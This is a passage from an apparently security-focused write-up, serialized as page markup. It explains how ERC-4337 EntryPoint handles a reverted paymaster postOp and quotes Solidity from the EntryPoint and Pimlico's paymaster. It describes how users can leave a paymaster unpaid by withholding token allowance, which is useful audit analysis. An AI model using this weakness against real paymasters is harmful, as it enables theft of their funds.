mUserOp.sender;\n",{"type":23,"tag":134,"props":105935,"children":105936},{"class":136,"line":518},[105937,105941,105945],{"type":23,"tag":134,"props":105938,"children":105939},{"style":179},[105940],{"type":28,"value":70104},{"type":23,"tag":134,"props":105942,"children":105943},{"style":189},[105944],{"type":28,"value":490},{"type":23,"tag":134,"props":105946,"children":105947},{"style":179},[105948],{"type":28,"value":463},{"type":23,"tag":134,"props":105950,"children":105951},{"class":136,"line":527},[105952,105956,105960],{"type":23,"tag":134,"props":105953,"children":105954},{"style":179},[105955],{"type":28,"value":105924},{"type":23,"tag":134,"props":105957,"children":105958},{"style":168},[105959],{"type":28,"value":257},{"type":23,"tag":134,"props":105961,"children":105962},{"style":179},[105963],{"type":28,"value":105964}," paymaster;\n",{"type":23,"tag":134,"props":105966,"children":105967},{"class":136,"line":780},[105968,105972,105977,105981,105985],{"type":23,"tag":134,"props":105969,"children":105970},{"style":189},[105971],{"type":28,"value":103032},{"type":23,"tag":134,"props":105973,"children":105974},{"style":179},[105975],{"type":28,"value":105976}," (context.length ",{"type":23,"tag":134,"props":105978,"children":105979},{"style":168},[105980],{"type":28,"value":9927},{"type":23,"tag":134,"props":105982,"children":105983},{"style":205},[105984],{"type":28,"value":208},{"type":23,"tag":134,"props":105986,"children":105987},{"style":179},[105988],{"type":28,"value":14272},{"type":23,"tag":134,"props":105990,"children":105991},{"class":136,"line":797},[105992,105997,106001,106005,106009],{"type":23,"tag":134,"props":105993,"children":105994},{"style":179},[105995],{"type":28,"value":105996},"                    actualGasCost ",{"type":23,"tag":134,"props":105998,"children":105999},{"style":168},[106000],{"type":28,"value":257},{"type":23,"tag":134,"props":106002,"children":106003},{"style":179},[106004],{"type":28,"value":104804},{"type":23,"tag":134,"props":106006,"children":106007},{"style":168},[106008],{"type":28,"value":1777},{"type":23,"tag":134,"props":106010,"children":106011},{"style":179},[106012],{"type":28,"value":106013}," gasPrice;\n",{"type":23,"tag":134,"props":106015,"children":106016},{"class":136,"line":814},[106017,106021,106026,106030,106034],{"type":23,"tag":134,"props":106018,"children":106019},{"style":597},[106020],{"type":28,"value":102989},{"type":23,"tag":134,"props":106022,"children":106023},{"style":179},[106024],{"type":28,"value":106025}," postOpPreGas ",{"type":23,"tag":134,"props":106027,"children":106028},{"style":168},[106029],{"type":28,"value":257},{"type":23,"tag":134,"props":106031,"children":106032},{"style":151},[106033],{"type":28,"value":104822},{"type":23,"tag":134,"props":106035,"children":106036},{"style":179},[106037],{"type":28,"value":856},{"type":23,"tag":134,"props":106039,"children":106040},{"class":136,"line":827},[106041,106046,106051,106055],{"type":23,"tag":134,"props":106042,"children":106043},{"style":189},[106044],{"type":28,"value":106045},"                    if",{"type":23,"tag":134,"props":106047,"children":106048},{"style":179},[106049],{"type":28,"value":106050}," (mode ",{"type":23,"tag":134,"props":106052,"children":106053},{"style":168},[106054],{"type":28,"value":15158},{"type":23,"tag":134,"props":106056,"children":106057},{"style":179},[106058],{"type":28,"value":106059}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":23,"tag":134,"props":106061,"children":106062},{"class":136,"line":836},[106063,106068,106073],{"type":23,"tag":134,"props":106064,"children":106065},{"style":189},[106066],{"type":28,"value":106067},"                        try",{"type":23,"tag":134,"props":106069,"children":106070},{"style":264},[106071],{"type":28,"value":106072}," IPaymaster",{"type":23,"tag":134,"props":106074,"children":106075},{"style":179},[106076],{"type":28,"value":106077},"(paymaster).postOp{\n",{"type":23,"tag":134,"props":106079,"children":106080},{"class":136,"line":859},[106081,106086,106090],{"type":23,"tag":134,"props":106082,"children":106083},{"style":179},[106084],{"type":28,"value":106085},"                                gas",{"type":23,"tag":134,"props":106087,"children":106088},{"style":168},[106089],{"type":28,"value":1697},{"type":23,"tag":134,"props":106091,"children":106092},{"style":179},[106093],{"type":28,"value":106094}," mUserOp.paymasterPostOpGasLimit\n",{"type":23,"tag":134,"props":106096,"children":106097},{"class":136,"line":868},[106098],{"type":23,"tag":134,"props":106099,"children":106100},{"style":179},[106101],{"type":28,"value":106102},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":23,"tag":134,"props":106104,"children":106105},{"class":136,"line":877},[106106,106111,106116],{"type":23,"tag":134,"props":106107,"children":106108},{"style":141},[106109],{"type":28,"value":106110},"                        // ",{"type":23,"tag":134,"props":106112,"children":106113},{"style":151},[106114],{"type":28,"value":106115},"solhint-disable",{"type":23,"tag":134,"props":106117,"children":106118},{"style":141},[106119],{"type":28,"value":106120},"-next-line no-empty-blocks\n",{"type":23,"tag":134,"props":106122,"children":106123},{"class":136,"line":946},[106124,106129,106133],{"type":23,"tag":134,"props":106125,"children":106126},{"style":179},[106127],{"type":28,"value":106128},"                        {} ",{"type":23,"tag":134,"props":106130,"children":106131},{"style":189},[106132],{"type":28,"value":47916},{"type":23,"tag":134,"props":106134,"children":106135},{"style":179},[106136],{"type":28,"value":463},{"type":23,"tag":134,"props":106138,"children":106139},{"class":136,"line":954},[106140,106145,106149,106154,106158,106162,106166],{"type":23,"tag":134,"props":106141,"children":106142},{"style":597},[106143],{"type":28,"value":106144},"                            bytes",{"type":23,"tag":134,"props":106146,"children":106147},{"style":151},[106148],{"type":28,"value":102592},{"type":23,"tag":134,"props":106150,"children":106151},{"style":179},[106152],{"type":28,"value":106153}," reason ",{"type":23,"tag":134,"props":106155,"children":106156},{"style":168},[106157],{"type":28,"value":257},{"type":23,"tag":134,"props":106159,"children":106160},{"style":179},[106161],{"type":28,"value":105363},{"type":23,"tag":134,"props":106163,"children":106164},{"style":264},[106165],{"type":28,"value":105454},{"type":23,"tag":134,"props":106167,"children":106168},{"style":179},[106169],{"type":28,"value":105459},{"type":23,"tag":134,"props":106171,"children":106172},{"class":136,"line":984},[106173,106178,106183],{"type":23,"tag":134,"props":106174,"children":106175},{"style":189},[106176],{"type":28,"value":106177},"                            revert",{"type":23,"tag":134,"props":106179,"children":106180},{"style":264},[106181],{"type":28,"value":106182}," PostOpReverted",{"type":23,"tag":134,"props":106184,"children":106185},{"style":179},[106186],{"type":28,"value":106187},"(reason);\n",{"type":23,"tag":134,"props":106189,"children":106190},{"class":136,"line":992},[106191],{"type":23,"tag":134,"props":106192,"children":106193},{"style":179},[106194],{"type":28,"value":70488},{"type":23,"tag":134,"props":106196,"children":106197},{"class":136,"line":1024},[106198],{"type":23,"tag":134,"props":106199,"children":106200},{"style":179},[106201],{"type":28,"value":70573},{"type":23,"tag":134,"props":106203,"children":106204},{"class":136,"line":1032},[106205],{"type":23,"tag":134,"props":106206,"children":106207},{"style":141},[106208],{"type":28,"value":106209},"                    // Calculating a penalty for unused postOp gas\n",{"type":23,"tag":134,"props":106211,"children":106212},{"class":136,"line":1092},[106213,106217,106221],{"type":23,"tag":134,"props":106214,"children":106215},{"style":141},[106216],{"type":28,"value":103054},{"type":23,"tag":134,"props":106218,"children":106219},{"style":151},[106220],{"type":28,"value":66268},{"type":23,"tag":134,"props":106222,"children":106223},{"style":141},[106224],{"type":28,"value":106225}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":23,"tag":134,"props":106227,"children":106228},{"class":136,"line":8508},[106229,106233,106238,106242,106246,106250,106254],{"type":23,"tag":134,"props":106230,"children":106231},{"style":597},[106232],{"type":28,"value":102989},{"type":23,"tag":134,"props":106234,"children":106235},{"style":179},[106236],{"type":28,"value":106237}," postOpGasUsed ",{"type":23,"tag":134,"props":106239,"children":106240},{"style":168},[106241],{"type":28,"value":257},{"type":23,"tag":134,"props":106243,"children":106244},{"style":179},[106245],{"type":28,"value":106025},{"type":23,"tag":134,"props":106247,"children":106248},{"style":168},[106249],{"type":28,"value":1532},{"type":23,"tag":134,"props":106251,"children":106252},{"style":151},[106253],{"type":28,"value":104822},{"type":23,"tag":134,"props":106255,"children":106256},{"style":179},[106257],{"type":28,"value":856},{"type":23,"tag":134,"props":106259,"children":106260},{"class":136,"line":8526},[106261,106266,106270,106275],{"type":23,"tag":134,"props":106262,"children":106263},{"style":179},[106264],{"type":28,"value":106265},"                    postOpUnusedGasPenalty ",{"type":23,"tag":134,"props":106267,"children":106268},{"style":168},[106269],{"type":28,"value":257},{"type":23,"tag":134,"props":106271,"children":106272},{"style":264},[106273],{"type":28,"value":106274}," _getUnusedGasPenalty",{"type":23,"tag":134,"props":106276,"children":106277},{"style":179},[106278],{"type":28,"value":106279},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":23,"tag":134,"props":106281,"children":106282},{"class":136,"line":8571},[106283],{"type":23,"tag":134,"props":106284,"children":106285},{"style":179},[106286],{"type":28,"value":70581},{"type":23,"tag":134,"props":106288,"children":106289},{"class":136,"line":8677},[106290],{"type":23,"tag":134,"props":106291,"children":106292},{"style":179},[106293],{"type":28,"value":58392},{"type":23,"tag":134,"props":106295,"children":106296},{"class":136,"line":22988},[106297],{"type":23,"tag":134,"props":106298,"children":106299},{"style":179},[106300],{"type":28,"value":104313},{"type":23,"tag":134,"props":106302,"children":106303},{"class":136,"line":23023},[106304],{"type":23,"tag":134,"props":106305,"children":106306},{"style":179},[106307],{"type":28,"value":533},{"type":23,"tag":24,"props":106309,"children":106310},{},[106311,106313,106318,106320,106326,106328,106334,106336,106341,106343,106348,106350,106355,106357,106362,106364,106369,106371,106376],{"type":28,"value":106312},"It turns out that if the ",{"type":23,"tag":92,"props":106314,"children":106316},{"className":106315},[],[106317],{"type":28,"value":101893},{"type":28,"value":106319}," call fails, it will revert with ",{"type":23,"tag":92,"props":106321,"children":106323},{"className":106322},[],[106324],{"type":28,"value":106325},"PostOpReverted",{"type":28,"value":106327},". However, as we can see in the previous code of ",{"type":23,"tag":92,"props":106329,"children":106331},{"className":106330},[],[106332],{"type":28,"value":106333},"_executeUserOp",{"type":28,"value":106335},", even though ",{"type":23,"tag":92,"props":106337,"children":106339},{"className":106338},[],[106340],{"type":28,"value":105035},{"type":28,"value":106342}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":23,"tag":92,"props":106344,"children":106346},{"className":106345},[],[106347],{"type":28,"value":105703},{"type":28,"value":106349}," call with ",{"type":23,"tag":92,"props":106351,"children":106353},{"className":106352},[],[106354],{"type":28,"value":105711},{"type":28,"value":106356}," mode, and it won't try to call ",{"type":23,"tag":92,"props":106358,"children":106360},{"className":106359},[],[106361],{"type":28,"value":101893},{"type":28,"value":106363}," again. This means the ",{"type":23,"tag":92,"props":106365,"children":106367},{"className":106366},[],[106368],{"type":28,"value":101754},{"type":28,"value":106370}," still gets paid for submitting the failed ",{"type":23,"tag":92,"props":106372,"children":106374},{"className":106373},[],[106375],{"type":28,"value":101694},{"type":28,"value":720},{"type":23,"tag":24,"props":106378,"children":106379},{},[106380,106382,106387,106389,106394,106396,106403],{"type":28,"value":106381},"Now that we understand this behavior where ",{"type":23,"tag":92,"props":106383,"children":106385},{"className":106384},[],[106386],{"type":28,"value":101893},{"type":28,"value":106388}," is allowed to fail while the ",{"type":23,"tag":92,"props":106390,"children":106392},{"className":106391},[],[106393],{"type":28,"value":101754},{"type":28,"value":106395}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":23,"tag":31,"props":106397,"children":106400},{"href":106398,"rel":106399},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[35],[106401],{"type":28,"value":106402},"Pimlico",{"type":28,"value":720},{"type":23,"tag":87,"props":106405,"children":106407},{"className":1680,"code":106406,"language":1679,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n            SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n        }\n\n        emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n    }\n",[106408],{"type":23,"tag":92,"props":106409,"children":106410},{"__ignoreMap":7},[106411,106426,106443,106463,106479,106491,106498,106505,106512,106543,106550,106575,106583,106590,106597,106626,106633,106649,106671,106678,106694,106744,106751,106767,106775,106808,106841,106849,106856,106863,106906,106913,106962,106988,106995,107002,107019],{"type":23,"tag":134,"props":106412,"children":106413},{"class":136,"line":137},[106414,106418,106422],{"type":23,"tag":134,"props":106415,"children":106416},{"style":151},[106417],{"type":28,"value":89343},{"type":23,"tag":134,"props":106419,"children":106420},{"style":264},[106421],{"type":28,"value":103295},{"type":23,"tag":134,"props":106423,"children":106424},{"style":179},[106425],{"type":28,"value":642},{"type":23,"tag":134,"props":106427,"children":106428},{"class":136,"line":147},[106429,106434,106438],{"type":23,"tag":134,"props":106430,"children":106431},{"style":151},[106432],{"type":28,"value":106433},"        PostOpMode",{"type":23,"tag":134,"props":106435,"children":106436},{"style":179},[106437],{"type":28,"value":242},{"type":23,"tag":134,"props":106439,"children":106440},{"style":141},[106441],{"type":28,"value":106442},"/* mode */\n",{"type":23,"tag":134,"props":106444,"children":106445},{"class":136,"line":185},[106446,106450,106454,106459],{"type":23,"tag":134,"props":106447,"children":106448},{"style":597},[106449],{"type":28,"value":105211},{"type":23,"tag":134,"props":106451,"children":106452},{"style":151},[106453],{"type":28,"value":102524},{"type":23,"tag":134,"props":106455,"children":106456},{"style":162},[106457],{"type":28,"value":106458}," _context",{"type":23,"tag":134,"props":106460,"children":106461},{"style":179},[106462],{"type":28,"value":687},{"type":23,"tag":134,"props":106464,"children":106465},{"class":136,"line":221},[106466,106470,106475],{"type":23,"tag":134,"props":106467,"children":106468},{"style":597},[106469],{"type":28,"value":89521},{"type":23,"tag":134,"props":106471,"children":106472},{"style":162},[106473],{"type":28,"value":106474}," _actualGasCost",{"type":23,"tag":134,"props":106476,"children":106477},{"style":179},[106478],{"type":28,"value":687},{"type":23,"tag":134,"props":106480,"children":106481},{"class":136,"line":332},[106482,106486],{"type":23,"tag":134,"props":106483,"children":106484},{"style":597},[106485],{"type":28,"value":89521},{"type":23,"tag":134,"props":106487,"children":106488},{"style":162},[106489],{"type":28,"value":106490}," _actualUserOpFeePerGas\n",{"type":23,"tag":134,"props":106492,"children":106493},{"class":136,"line":438},[106494],{"type":23,"tag":134,"props":106495,"children":106496},{"style":179},[106497],{"type":28,"value":23409},{"type":23,"tag":134,"props":106499,"children":106500},{"class":136,"line":466},[106501],{"type":23,"tag":134,"props":106502,"children":106503},{"style":151},[106504],{"type":28,"value":102563},{"type":23,"tag":134,"props":106506,"children":106507},{"class":136,"line":479},[106508],{"type":23,"tag":134,"props":106509,"children":106510},{"style":179},[106511],{"type":28,"value":28680},{"type":23,"tag":134,"props":106513,"children":106514},{"class":136,"line":497},[106515,106520,106524,106529,106533,106538],{"type":23,"tag":134,"props":106516,"children":106517},{"style":179},[106518],{"type":28,"value":106519},"        ERC20PostOpContext ",{"type":23,"tag":134,"props":106521,"children":106522},{"style":151},[106523],{"type":28,"value":75484},{"type":23,"tag":134,"props":106525,"children":106526},{"style":179},[106527],{"type":28,"value":106528}," ctx ",{"type":23,"tag":134,"props":106530,"children":106531},{"style":168},[106532],{"type":28,"value":257},{"type":23,"tag":134,"props":106534,"children":106535},{"style":264},[106536],{"type":28,"value":106537}," _parsePostOpContext",{"type":23,"tag":134,"props":106539,"children":106540},{"style":179},[106541],{"type":28,"value":106542},"(_context);\n",{"type":23,"tag":134,"props":106544,"children":106545},{"class":136,"line":518},[106546],{"type":23,"tag":134,"props":106547,"children":106548},{"emptyLinePlaceholder":15},[106549],{"type":28,"value":865},{"type":23,"tag":134,"props":106551,"children":106552},{"class":136,"line":527},[106553,106557,106562,106566,106571],{"type":23,"tag":134,"props":106554,"children":106555},{"style":597},[106556],{"type":28,"value":89521},{"type":23,"tag":134,"props":106558,"children":106559},{"style":179},[106560],{"type":28,"value":106561}," expectedPenaltyGasCost ",{"type":23,"tag":134,"props":106563,"children":106564},{"style":168},[106565],{"type":28,"value":257},{"type":23,"tag":134,"props":106567,"children":106568},{"style":264},[106569],{"type":28,"value":106570}," _expectedPenaltyGasCost",{"type":23,"tag":134,"props":106572,"children":106573},{"style":179},[106574],{"type":28,"value":642},{"type":23,"tag":134,"props":106576,"children":106577},{"class":136,"line":780},[106578],{"type":23,"tag":134,"props":106579,"children":106580},{"style":179},[106581],{"type":28,"value":106582},"            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":23,"tag":134,"props":106584,"children":106585},{"class":136,"line":797},[106586],{"type":23,"tag":134,"props":106587,"children":106588},{"style":179},[106589],{"type":28,"value":7202},{"type":23,"tag":134,"props":106591,"children":106592},{"class":136,"line":814},[106593],{"type":23,"tag":134,"props":106594,"children":106595},{"emptyLinePlaceholder":15},[106596],{"type":28,"value":865},{"type":23,"tag":134,"props":106598,"children":106599},{"class":136,"line":827},[106600,106604,106608,106612,106617,106621],{"type":23,"tag":134,"props":106601,"children":106602},{"style":597},[106603],{"type":28,"value":89521},{"type":23,"tag":134,"props":106605,"children":106606},{"style":179},[106607],{"type":28,"value":103619},{"type":23,"tag":134,"props":106609,"children":106610},{"style":168},[106611],{"type":28,"value":257},{"type":23,"tag":134,"props":106613,"children":106614},{"style":179},[106615],{"type":28,"value":106616}," _actualGasCost ",{"type":23,"tag":134,"props":106618,"children":106619},{"style":168},[106620],{"type":28,"value":1586},{"type":23,"tag":134,"props":106622,"children":106623},{"style":179},[106624],{"type":28,"value":106625}," expectedPenaltyGasCost;\n",{"type":23,"tag":134,"props":106627,"children":106628},{"class":136,"line":836},[106629],{"type":23,"tag":134,"props":106630,"children":106631},{"emptyLinePlaceholder":15},[106632],{"type":28,"value":865},{"type":23,"tag":134,"props":106634,"children":106635},{"class":136,"line":859},[106636,106640,106645],{"type":23,"tag":134,"props":106637,"children":106638},{"style":597},[106639],{"type":28,"value":89521},{"type":23,"tag":134,"props":106641,"children":106642},{"style":179},[106643],{"type":28,"value":106644}," costInToken ",{"type":23,"tag":134,"props":106646,"children":106647},{"style":168},[106648],{"type":28,"value":14161},{"type":23,"tag":134,"props":106650,"children":106651},{"class":136,"line":868},[106652,106657,106662,106666],{"type":23,"tag":134,"props":106653,"children":106654},{"style":264},[106655],{"type":28,"value":106656},"            getCostInToken",{"type":23,"tag":134,"props":106658,"children":106659},{"style":179},[106660],{"type":28,"value":106661},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":23,"tag":134,"props":106663,"children":106664},{"style":168},[106665],{"type":28,"value":1586},{"type":23,"tag":134,"props":106667,"children":106668},{"style":179},[106669],{"type":28,"value":106670}," ctx.constantFee;\n",{"type":23,"tag":134,"props":106672,"children":106673},{"class":136,"line":877},[106674],{"type":23,"tag":134,"props":106675,"children":106676},{"emptyLinePlaceholder":15},[106677],{"type":28,"value":865},{"type":23,"tag":134,"props":106679,"children":106680},{"class":136,"line":946},[106681,106685,106690],{"type":23,"tag":134,"props":106682,"children":106683},{"style":597},[106684],{"type":28,"value":89521},{"type":23,"tag":134,"props":106686,"children":106687},{"style":179},[106688],{"type":28,"value":106689}," absoluteCostInToken ",{"type":23,"tag":134,"props":106691,"children":106692},{"style":168},[106693],{"type":28,"value":14161},{"type":23,"tag":134,"props":106695,"children":106696},{"class":136,"line":954},[106697,106702,106706,106711,106715,106719,106723,106727,106731,106735,106739],{"type":23,"tag":134,"props":106698,"children":106699},{"style":179},[106700],{"type":28,"value":106701},"            costInToken ",{"type":23,"tag":134,"props":106703,"children":106704},{"style":168},[106705],{"type":28,"value":9927},{"type":23,"tag":134,"props":106707,"children":106708},{"style":179},[106709],{"type":28,"value":106710}," ctx.preFundCharged ",{"type":23,"tag":134,"props":106712,"children":106713},{"style":168},[106714],{"type":28,"value":324},{"type":23,"tag":134,"props":106716,"children":106717},{"style":179},[106718],{"type":28,"value":106644},{"type":23,"tag":134,"props":106720,"children":106721},{"style":168},[106722],{"type":28,"value":1532},{"type":23,"tag":134,"props":106724,"children":106725},{"style":179},[106726],{"type":28,"value":106710},{"type":23,"tag":134,"props":106728,"children":106729},{"style":168},[106730],{"type":28,"value":1697},{"type":23,"tag":134,"props":106732,"children":106733},{"style":179},[106734],{"type":28,"value":106710},{"type":23,"tag":134,"props":106736,"children":106737},{"style":168},[106738],{"type":28,"value":1532},{"type":23,"tag":134,"props":106740,"children":106741},{"style":179},[106742],{"type":28,"value":106743}," costInToken;\n",{"type":23,"tag":134,"props":106745,"children":106746},{"class":136,"line":984},[106747],{"type":23,"tag":134,"props":106748,"children":106749},{"emptyLinePlaceholder":15},[106750],{"type":28,"value":865},{"type":23,"tag":134,"props":106752,"children":106753},{"class":136,"line":992},[106754,106759,106763],{"type":23,"tag":134,"props":106755,"children":106756},{"style":179},[106757],{"type":28,"value":106758},"        SafeTransferLib.",{"type":23,"tag":134,"props":106760,"children":106761},{"style":264},[106762],{"type":28,"value":103150},{"type":23,"tag":134,"props":106764,"children":106765},{"style":179},[106766],{"type":28,"value":642},{"type":23,"tag":134,"props":106768,"children":106769},{"class":136,"line":1024},[106770],{"type":23,"tag":134,"props":106771,"children":106772},{"style":179},[106773],{"type":28,"value":106774},"            ctx.token,\n",{"type":23,"tag":134,"props":106776,"children":106777},{"class":136,"line":1032},[106778,106782,106786,106790,106794,106799,106803],{"type":23,"tag":134,"props":106779,"children":106780},{"style":179},[106781],{"type":28,"value":106701},{"type":23,"tag":134,"props":106783,"children":106784},{"style":168},[106785],{"type":28,"value":9927},{"type":23,"tag":134,"props":106787,"children":106788},{"style":179},[106789],{"type":28,"value":106710},{"type":23,"tag":134,"props":106791,"children":106792},{"style":168},[106793],{"type":28,"value":324},{"type":23,"tag":134,"props":106795,"children":106796},{"style":179},[106797],{"type":28,"value":106798}," ctx.sender ",{"type":23,"tag":134,"props":106800,"children":106801},{"style":168},[106802],{"type":28,"value":1697},{"type":23,"tag":134,"props":106804,"children":106805},{"style":179},[106806],{"type":28,"value":106807}," ctx.treasury,\n",{"type":23,"tag":134,"props":106809,"children":106810},{"class":136,"line":1092},[106811,106815,106819,106823,106827,106832,106836],{"type":23,"tag":134,"props":106812,"children":106813},{"style":179},[106814],{"type":28,"value":106701},{"type":23,"tag":134,"props":106816,"children":106817},{"style":168},[106818],{"type":28,"value":9927},{"type":23,"tag":134,"props":106820,"children":106821},{"style":179},[106822],{"type":28,"value":106710},{"type":23,"tag":134,"props":106824,"children":106825},{"style":168},[106826],{"type":28,"value":324},{"type":23,"tag":134,"props":106828,"children":106829},{"style":179},[106830],{"type":28,"value":106831}," ctx.treasury ",{"type":23,"tag":134,"props":106833,"children":106834},{"style":168},[106835],{"type":28,"value":1697},{"type":23,"tag":134,"props":106837,"children":106838},{"style":179},[106839],{"type":28,"value":106840}," ctx.sender,\n",{"type":23,"tag":134,"props":106842,"children":106843},{"class":136,"line":8508},[106844],{"type":23,"tag":134,"props":106845,"children":106846},{"style":179},[106847],{"type":28,"value":106848},"            absoluteCostInToken\n",{"type":23,"tag":134,"props":106850,"children":106851},{"class":136,"line":8526},[106852],{"type":23,"tag":134,"props":106853,"children":106854},{"style":179},[106855],{"type":28,"value":7202},{"type":23,"tag":134,"props":106857,"children":106858},{"class":136,"line":8571},[106859],{"type":23,"tag":134,"props":106860,"children":106861},{"emptyLinePlaceholder":15},[106862],{"type":28,"value":865},{"type":23,"tag":134,"props":106864,"children":106865},{"class":136,"line":8677},[106866,106870,106875,106879,106884,106888,106893,106897,106902],{"type":23,"tag":134,"props":106867,"children":106868},{"style":597},[106869],{"type":28,"value":89521},{"type":23,"tag":134,"props":106871,"children":106872},{"style":179},[106873],{"type":28,"value":106874}," preFundInToken ",{"type":23,"tag":134,"props":106876,"children":106877},{"style":168},[106878],{"type":28,"value":257},{"type":23,"tag":134,"props":106880,"children":106881},{"style":179},[106882],{"type":28,"value":106883}," (ctx.preFund ",{"type":23,"tag":134,"props":106885,"children":106886},{"style":168},[106887],{"type":28,"value":1777},{"type":23,"tag":134,"props":106889,"children":106890},{"style":179},[106891],{"type":28,"value":106892}," ctx.exchangeRate) ",{"type":23,"tag":134,"props":106894,"children":106895},{"style":168},[106896],{"type":28,"value":1787},{"type":23,"tag":134,"props":106898,"children":106899},{"style":205},[106900],{"type":28,"value":106901}," 1e18",{"type":23,"tag":134,"props":106903,"children":106904},{"style":179},[106905],{"type":28,"value":182},{"type":23,"tag":134,"props":106907,"children":106908},{"class":136,"line":22988},[106909],{"type":23,"tag":134,"props":106910,"children":106911},{"emptyLinePlaceholder":15},[106912],{"type":28,"value":865},{"type":23,"tag":134,"props":106914,"children":106915},{"class":136,"line":23023},[106916,106920,106925,106929,106933,106937,106941,106945,106949,106953,106957],{"type":23,"tag":134,"props":106917,"children":106918},{"style":189},[106919],{"type":28,"value":444},{"type":23,"tag":134,"props":106921,"children":106922},{"style":179},[106923],{"type":28,"value":106924}," (ctx.recipient ",{"type":23,"tag":134,"props":106926,"children":106927},{"style":168},[106928],{"type":28,"value":15158},{"type":23,"tag":134,"props":106930,"children":106931},{"style":597},[106932],{"type":28,"value":5707},{"type":23,"tag":134,"props":106934,"children":106935},{"style":179},[106936],{"type":28,"value":272},{"type":23,"tag":134,"props":106938,"children":106939},{"style":205},[106940],{"type":28,"value":1224},{"type":23,"tag":134,"props":106942,"children":106943},{"style":179},[106944],{"type":28,"value":252},{"type":23,"tag":134,"props":106946,"children":106947},{"style":168},[106948],{"type":28,"value":72707},{"type":23,"tag":134,"props":106950,"children":106951},{"style":179},[106952],{"type":28,"value":106874},{"type":23,"tag":134,"props":106954,"children":106955},{"style":168},[106956],{"type":28,"value":9927},{"type":23,"tag":134,"props":106958,"children":106959},{"style":179},[106960],{"type":28,"value":106961}," costInToken) {\n",{"type":23,"tag":134,"props":106963,"children":106964},{"class":136,"line":23031},[106965,106970,106974,106979,106983],{"type":23,"tag":134,"props":106966,"children":106967},{"style":179},[106968],{"type":28,"value":106969},"            SafeTransferLib.",{"type":23,"tag":134,"props":106971,"children":106972},{"style":264},[106973],{"type":28,"value":103150},{"type":23,"tag":134,"props":106975,"children":106976},{"style":179},[106977],{"type":28,"value":106978},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":23,"tag":134,"props":106980,"children":106981},{"style":168},[106982],{"type":28,"value":1532},{"type":23,"tag":134,"props":106984,"children":106985},{"style":179},[106986],{"type":28,"value":106987}," costInToken);\n",{"type":23,"tag":134,"props":106989,"children":106990},{"class":136,"line":23039},[106991],{"type":23,"tag":134,"props":106992,"children":106993},{"style":179},[106994],{"type":28,"value":524},{"type":23,"tag":134,"props":106996,"children":106997},{"class":136,"line":23048},[106998],{"type":23,"tag":134,"props":106999,"children":107000},{"emptyLinePlaceholder":15},[107001],{"type":28,"value":865},{"type":23,"tag":134,"props":107003,"children":107004},{"class":136,"line":23090},[107005,107010,107014],{"type":23,"tag":134,"props":107006,"children":107007},{"style":189},[107008],{"type":28,"value":107009},"        emit",{"type":23,"tag":134,"props":107011,"children":107012},{"style":264},[107013],{"type":28,"value":103884},{"type":23,"tag":134,"props":107015,"children":107016},{"style":179},[107017],{"type":28,"value":107018},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":23,"tag":134,"props":107020,"children":107021},{"class":136,"line":23123},[107022],{"type":23,"tag":134,"props":107023,"children":107024},{"style":179},[107025],{"type":28,"value":533},{"type":23,"tag":24,"props":107027,"children":107028},{},[107029,107031,107036,107038,107044,107046,107052,107054,107059,107061,107066],{"type":28,"value":107030},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":23,"tag":92,"props":107032,"children":107034},{"className":107033},[],[107035],{"type":28,"value":103150},{"type":28,"value":107037},". Note that ",{"type":23,"tag":92,"props":107039,"children":107041},{"className":107040},[],[107042],{"type":28,"value":107043},"preFundCharged",{"type":28,"value":107045}," can be zero, as users can opt out of any ",{"type":23,"tag":92,"props":107047,"children":107049},{"className":107048},[],[107050],{"type":28,"value":107051},"preFund",{"type":28,"value":107053}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":23,"tag":92,"props":107055,"children":107057},{"className":107056},[],[107058],{"type":28,"value":103951},{"type":28,"value":107060}," call inside ",{"type":23,"tag":92,"props":107062,"children":107064},{"className":107063},[],[107065],{"type":28,"value":105035},{"type":28,"value":107067}," will revert and the paymaster won't be able to collect payment from the user.",{"type":23,"tag":24,"props":107069,"children":107070},{},[107071,107073,107078,107080,107086,107088,107094],{"type":28,"value":107072},"However, even when ",{"type":23,"tag":92,"props":107074,"children":107076},{"className":107075},[],[107077],{"type":28,"value":103951},{"type":28,"value":107079}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted 